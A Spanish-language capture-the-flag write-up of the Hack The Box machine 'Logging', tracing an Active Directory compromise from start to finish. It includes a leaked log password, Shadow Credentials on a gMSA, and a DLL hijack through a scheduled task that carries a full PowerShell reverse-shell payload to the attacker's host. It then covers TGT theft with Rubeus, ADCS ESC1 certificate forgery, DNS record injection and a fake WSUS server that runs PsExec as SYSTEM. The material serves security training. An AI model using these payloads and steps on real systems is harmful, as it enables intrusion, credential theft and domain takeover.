Logging WriteUp

Table of Contents

Logging WriteUp

Logging es una máquina de dificultad 🟧 Media de Hack The Box, y es de esas de Active Directory en las que vas encadenando un fallo detrás de otro hasta quedarte con todo el dominio. Empezamos leyendo una contraseña en texto plano que alguien dejó tirada en un log, abusamos de permisos sobre una cuenta gMSA para sacar su hash, saltamos a otro usuario con un DLL hijacking en una tarea programada, y para el final nos pedimos un certificado de ADCS por ESC1 y suplantamos un servidor WSUS para ejecutar código como SYSTEM en el Domain Controller. Suena a mucho, pero lo vamos a ir viendo con calma y por partes.

🗺️ Cadena de Ataque

Reconocimiento → AD DC, puertos 88, 389, 445, 5985, 8530-8531
      │
      ▼
SMB \\DC01\Logs → IdentitySync_Trace.log → svc_recovery:Em3rg3ncyPa$$2026
      │
      ▼
svc_recovery (GenericWrite sobre MSA_HEALTH$) → Shadow Credentials → NT hash
      │
      ▼
evil-winrm como msa_health$ → DLL hijack en UpdateMonitor → shell jaylee.clifton
      │
      ▼
user.txt → C:\Users\jaylee.clifton\Desktop\user.txt
      │
      ▼
ADCS ESC1 (template UpdateSrv) → certificado wsus.logging.htb
      │
      ▼
DNS injection + WSUS server falso (wsuks) → PsExec como SYSTEM → DA 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.38.171 logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1. Descubrimiento rápido de puertos TCP.

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv logging.htb

Fase 2. Detección de versiones y scripts.

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv logging.htb
PuertoServicioDetalle
53DNSSimple DNS Plus
80HTTPMicrosoft IIS 10.0
88KerberosMicrosoft Kerberos
135RPCMicrosoft RPC
139NetBIOSNetBIOS Session Service
389LDAPActive Directory LDAP
445SMBMicrosoft SMB
464KerberosKerberos password change
636LDAPSLDAP sobre TLS
3268LDAPGlobal Catalog
5985WinRMMicrosoft HTTPAPI 2.0
8530HTTPWSUS (Windows Server Update Services)
8531HTTPSWSUS sobre TLS

💡 Los puertos 8530 y 8531 son la firma de WSUS corriendo en el propio Domain Controller. Apúntatelo, porque es la pista del vector de escalada final.

💉 Acceso Inicial

Enumeración de Recursos SMB

Con las credenciales iniciales wallace.everette:Welcome2026@ enumeramos los shares disponibles:

netexec smb logging.htb -u wallace.everette -p 'Welcome2026@' --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
IPC$            READ            Remote IPC
Logs            READ            
NETLOGON        READ            Logon server share 
SYSVOL          READ            Logon server share 
WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

🎯 El share Logs tiene permisos de lectura. Lo volcamos completo:

smbclient //logging.htb/Logs -U 'logging.htb\wallace.everette%Welcome2026@' -c 'prompt OFF; mget *'
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (60.5 KiloBytes/sec) (average 34.5 KiloBytes/sec)
getting file \Service_State.log of size 468 as Service_State.log (3.5 KiloBytes/sec) (average 24.6 KiloBytes/sec)
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (8.6 KiloBytes/sec) (average 20.7 KiloBytes/sec)

Credenciales en Texto Plano en el Log de Sincronización

Entre los ficheros descargados encontramos IdentitySync_Trace_20260219.log. Al revisarlo encontramos credenciales de bind en texto plano:

grep -i "bind" IdentitySync_Trace_20260219.log
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025"

💡 La contraseña contiene el año 2025. Dado que los logs se generan periódicamente y la rotación de contraseña actualizó el año, probamos con 2026:

netexec smb logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026'
logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION

Sincronización de Reloj (Kerberos)

El Domain Controller tiene el reloj adelantado ~7 horas respecto al sistema atacante. Kerberos rechaza tickets con diferencia horaria superior a 5 minutos, por lo que sincronizamos antes de continuar:

sudo ntpdate logging.htb

Validación con Kerberos

impacket-getTGT 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.38.171
[*] Saving ticket in svc_recovery.ccache

🔎 Enumeración de Active Directory

BloodHound

export KRB5CCNAME=svc_recovery.ccache
bloodhound-ce-python -u svc_recovery -k -no-pass -d logging.htb -ns 10.129.38.171 -dc dc01.logging.htb --zip -c All

🎯 BloodHound revela que svc_recovery tiene GenericWrite sobre la cuenta gMSA MSA_HEALTH$.

Logging WriteUp

🔑 Abuso de gMSA con Shadow Credentials

🧠 Una cuenta con GenericWrite sobre un objeto de máquina o gMSA puede escribir en el atributo msDS-KeyCredentialLink, añadiendo una clave pública controlada por el atacante. Esto permite solicitar un TGT como esa cuenta sin conocer su contraseña, técnica conocida como Shadow Credentials.

export KRB5CCNAME=svc_recovery.ccache
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -k add shadowCredentials 'MSA_HEALTH$'
[+] KeyCredential generated with following sha256 of RSA key: f495014ce5136dc9e63073bf016f4869a3b8d97f2e6548034e79c476917175b9
No outfile path was provided. The certificate(s) will be stored with the filename: sCeXLog5
[+] Saved PEM certificate at path: sCeXLog5_cert.pem
[+] Saved PEM private key at path: sCeXLog5_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem sCeXLog5_cert.pem -key-pem sCeXLog5_priv.pem logging.htb/MSA_HEALTH$ sCeXLog5.ccache

Convertimos PEM a PFX

openssl pkcs12 -export -out msa_health.pfx -inkey sCeXLog5_priv.pem -in sCeXLog5_cert.pem -passout pass:

Nos autenticamos y obtenemos el hash

certipy-ad auth -pfx msa_health.pfx -domain logging.htb -dc-ip 10.129.38.171 -username 'MSA_HEALTH$'
[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Got hash for 'msa_health$@logging.htb': aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5

Acceso WinRM como msa_health$

evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'

🔀 Movimiento lateral con DLL Hijacking en UpdateMonitor

Enumeración del Servicio

Transferimos PrivescCheck a la víctima sirviendo el script con goshs:

goshs -d ~/http -p 80 -i 0.0.0.0

Desde la sesión WinRM descargamos y ejecutamos el análisis completo:

mkdir C:\Temp
iwr http://10.10.14.100/PrivescCheck.ps1 -OutFile C:\Temp\PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
cd c:\temp
. C:\Temp\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report $env:COMPUTERNAME`_privcheck -Format TXT,CSV,HTML

Para exfiltrar los informes generados levantamos un servidor SMB en el atacante:

sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test

Montamos la unidad y copiamos los tres archivos de una sola vez:

net use k: \\10.10.14.100\smb /user:test test
copy C:\Temp\*_privcheck* k:\

🎯 PrivescCheck detecta una tarea programada que ejecuta UpdateMonitor.exe en el contexto de jaylee.clifton. El binario busca C:\ProgramData\UpdateMonitor\Settings_Update.zip, lo descomprime y carga settings_update.dll invocando la función exportada PreUpdateCheck.

Confirmamos leyendo el XML de la tarea directamente (la ruta del fichero es legible aunque el directorio no lo sea):

Get-Content "C:\Windows\System32\Tasks\UpdateChecker Agent"
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Principals>
    <Principal id="Author">
      <UserId>LOGGING\jaylee.clifton</UserId>
      <LogonType>Password</LogonType>
    </Principal>
  </Principals>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT3M</Interval>
      </Repetition>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
      <Arguments>500 /scan=3 /autofix=true</Arguments>
    </Exec>
  </Actions>
</Task>

🎯 La tarea se ejecuta como LOGGING\jaylee.clifton cada 3 minutos lanzando UpdateMonitor.exe. Y lo mejor, msa_health$ tiene permisos de escritura en C:\ProgramData\UpdateMonitor\, así que podemos colarle ahí un ZIP malicioso.

Análisis del Binario

Exfiltramos UpdateMonitor.exe para analizarlo en el atacante:

copy "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" k:\

Con strings extraemos los literales UTF-16LE del ensamblado .NET:

strings -e l UpdateMonitor.exe | grep -iE "zip|dll|PreUpdateCheck|ProgramData|Settings|update"
C:\ProgramData\UpdateMonitor\Logs\monitor.log
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\
settings_update.dll
Starting Sentinel Update Check...
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
Checking for update on local server...
Successfully unzipped update to 
Update failed: 
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
Loading update applier: 
Update check completed.
PreUpdateCheck
Calling 'PreUpdateCheck' in 
'PreUpdateCheck' not found in 

El binario implementa un mecanismo de actualización que sigue este flujo:

  1. Busca C:\ProgramData\UpdateMonitor\Settings_Update.zip
  2. Extrae el contenido a C:\Program Files\UpdateMonitor\bin\
  3. Carga settings_update.dll desde esa ruta
  4. Invoca la función exportada PreUpdateCheck()

🧠 Este patrón simula un sistema de actualización que distribuye parches como archivos ZIP. Abusamos del mecanismo colocando un ZIP malicioso en C:\ProgramData\UpdateMonitor\ (directorio escribible por msa_health$). La DLL tiene que ir en la raíz del ZIP para que se extraiga directamente en bin\. Si la metes en una subcarpeta, el binario no la encuentra.

Compilación de la DLL Maliciosa

En nuestra máquina atacante generamos la DLL. La función PreUpdateCheck lanza una reverse shell:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void PreUpdateCheck(void) {
    system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
    if (r == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(h);
    return TRUE;
}

Generamos el payload en base64:

LHOST=10.10.14.100
LPORT=8443
PAYLOAD="\$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){;\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$n=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$n,0,\$n.Length);\$s.Flush()}"
echo -n "$PAYLOAD" | iconv -t utf-16le | base64 -w0

Compilamos para 32-bit (el proceso UpdateMonitor es x86):

i686-w64-mingw32-gcc -shared -o settings_update.dll shell.c -s

Empaquetamos en ZIP:

zip -j Settings_Update.zip settings_update.dll

Subida y Disparo

Copiamos el ZIP desde el share SMB que ya tenemos montado. Lo hacemos así porque el comando upload de evil-winrm se lía con las rutas absolutas de Windows, las toma como un nombre de fichero literal y te deja el archivo en el directorio actual en vez de en el destino que le indicas.

copy k:\Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip

Preparamos el listener:

penelope -p 8443

La tarea programada se ejecuta cada 3 minutos. Al dispararse, recibimos una shell de jaylee.clifton:

[+] Got reverse shell from DC01~10.129.40.143-Microsoft_Windows_Server_2019_Standard-x64-based_PC
    Assigned SessionID <8>

Flag de Usuario

type C:\Users\jaylee.clifton\Desktop\user.txt

🔺 Escalada de Privilegios

Enumeración de ADCS y ESC1

🧠 ESC1 es una mala configuración en las plantillas de ADCS en la que quien pide el certificado puede indicar el Subject Alternative Name (SAN) que le dé la gana. Si encima la plantilla sirve para autenticación de servidor, podemos pedirnos un certificado TLS válido para el hostname que queramos. Aquí lo vamos a usar para hacernos pasar por el servidor WSUS.

Para enumerar ADCS solo necesitamos acceso LDAP autenticado, no hace falta la contraseña de jaylee.clifton. Nos vale el hash NT de msa_health$ que ya tenemos.

certipy-ad find \
  -u 'msa_health$@logging.htb' \
  -hashes :603fc24ee01a9409f83c9d1d701485c5 \
  -target DC01.logging.htb -dc-ip 10.129.40.143 \
  -stdout -enabled
Certificate Authorities
  0
    CA Name                             : logging-DC01-CA
    DNS Name                            : DC01.logging.htb
    Certificate Subject                 : CN=logging-DC01-CA, DC=logging, DC=htb
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Access Rights
        Enroll                          : LOGGING.HTB\Authenticated Users

Certificate Templates
  0
    Template Name                       : UpdateSrv
    Display Name                        : UpdateSrv
    Certificate Authorities             : logging-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOGGING.HTB\IT
                                          LOGGING.HTB\Domain Admins
                                          LOGGING.HTB\Enterprise Admins

🎯 La plantilla UpdateSrv es vulnerable a ESC1. Tiene EnrolleeSuppliesSubject habilitado, no pide aprobación de ningún manager y sirve para Server Authentication. Y quien puede pedir el certificado es el grupo IT, del que jaylee.clifton es miembro.

Obtención del TGT de jaylee.clifton

Para pedir el certificado necesitamos autenticarnos como jaylee.clifton, que está en el grupo IT, pero no tenemos su contraseña. Aquí entra Rubeus tgtdeleg. Como la tarea programada se ejecuta con LogonType: Password, hay una sesión Kerberos de verdad con su TGT en memoria, y con tgtdeleg lo sacamos.

iwr http://10.10.14.100/Rubeus.exe -OutFile C:\Temp\Rubeus.exe
C:\Temp\Rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)

[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.logging.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTC...

En el atacante convertimos el ticket a formato ccache:

echo "<BASE64>" | base64 -d > jaylee.kirbi
impacket-ticketConverter jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache

Solicitud del Certificado para wsus.logging.htb

Antes de pedir el certificado sincronizamos el reloj otra vez, que Kerberos rechaza los tickets si hay más de 5 minutos de diferencia horaria.

sudo ntpdate logging.htb
certipy-ad req \
  -u 'jaylee.clifton@logging.htb' -k \
  -dc-ip 10.129.40.143 \
  -target dc01.logging.htb \
  -ca 'logging-DC01-CA' \
  -template 'UpdateSrv' \
  -dns 'wsus.logging.htb' \
  -out wsus
[+] Saved certificate and private key to 'wsus.pfx'

Extraemos cert y clave para el servidor WSUS:

openssl pkcs12 -in wsus.pfx -out wsus_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.pfx -out wsus_key.pem -nocerts -nodes -passin pass:

Inyección de Registro DNS

Apuntamos wsus.logging.htb a nuestra IP. Primero creamos una cuenta de máquina para autenticarnos vía LDAP:

impacket-addcomputer \
  -computer-name 'attacker01$' -computer-pass 'SuperP@ss!' \
  -hashes ':603fc24ee01a9409f83c9d1d701485c5' \
  -dc-ip 10.129.198.221 'logging.htb/msa_health$'

Inyectamos el registro A vía LDAP:

python3 dns_inject.py  # ver script completo en el repo
import ldap3, struct

ATTACKER_IP = '<TU_IP>'
ip = bytes(int(x) for x in ATTACKER_IP.split('.'))
record = struct.pack('<HHBBHIIII', 4, 1, 5, 0xF0, 0, 1, 180, 0, 0) + ip

s = ldap3.Server('10.129.198.221', port=389)
c = ldap3.Connection(s, user='logging.htb\\attacker01$', password='SuperP@ss!',
                     authentication=ldap3.NTLM, auto_bind=True)
c.add('DC=wsus,DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb',
      ['top', 'dnsNode'],
      {'dnsRecord': [record], 'dnsTombstoned': 'FALSE'})
print(c.result)
python3 dns_inject.py
# {'result': 0, 'description': 'success', ...}

Servidor WSUS Falso

wsuks ya trae su propio PsExec64.exe firmado por Microsoft, así que no hace falta que lo descargues por tu cuenta.

Instalamos wsuks con un venv que tenga acceso a los paquetes del sistema, necesario para los bindings Python de nftables:

sudo apt install python3-nftables -y
python3 -m venv --system-site-packages ~/venvs/wsuks
~/venvs/wsuks/bin/pip install wsuks

--tls-cert acepta un único fichero, así que combinamos cert y clave en un PEM:

cat wsus_cert.pem wsus_key.pem > wsus.pem

wsuks resuelve el hostname del servidor WSUS en local para saber en qué IP ponerse a escuchar, y esa IP tiene que ser la misma que inyectamos en el DNS del dominio, o sea la de tu VPN. Así que la añadimos en el /etc/hosts.

echo "10.10.14.100 wsus.logging.htb" | sudo tee -a /etc/hosts

⚠️ Si /etc/hosts ya tiene una entrada previa de wsus.logging.htb con otra IP, elimínala primero: sudo sed -i '/wsus.logging.htb/d' /etc/hosts

sudo ~/venvs/wsuks/bin/wsuks --serve-only -I tun0 \
  --WSUS-Server wsus.logging.htb \
  --tls-cert wsus.pem \
  -c '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'
[*] HTTPS WSUS listening on 0.0.0.0:8531
[*] Waiting for DC to check for updates...

Forzar Windows Update en el DC

Desde la shell de jaylee.clifton:

Stop-Service wuauserv -Force
Remove-Item 'C:\Windows\SoftwareDistribution' -Recurse -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScan

El DC contacta nuestro servidor WSUS falso, descarga y ejecuta PsExec64.exe como NT AUTHORITY\SYSTEM, que añade msa_health$ al grupo local de administradores.

    __          __ _____  _    _  _  __  _____
    \ \        / // ____|| |  | || |/ / / ____|
     \ \  /\  / /| (___  | |  | || ' / | (___
      \ \/  \/ /  \___ \ | |  | ||  <   \___ \
       \  /\  /   ____) || |__| || . \  ____) |
        \/  \/   |_____/  \____/ |_|\_\|_____/

     Pentesting Tool for the WSUS MITM Attack
               Made by NeffIsBack
                 version: 1.2.1

[+] Command to execute: 
PsExec64.exe /accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"
[*] ===== Starting Web Server =====
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.100:8531...
[*] Serving executable as KB: 1581884
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] GET request for exe: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] Received GET request: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] GET request for exe: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe

Flag de Root

Con msa_health$ ahora administrador local, accedemos via WinRM y leemos la flag:

evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
type C:\Users\toby.brynleigh\Desktop\root.txt

Un saludo, nos vemos en la próxima máquina.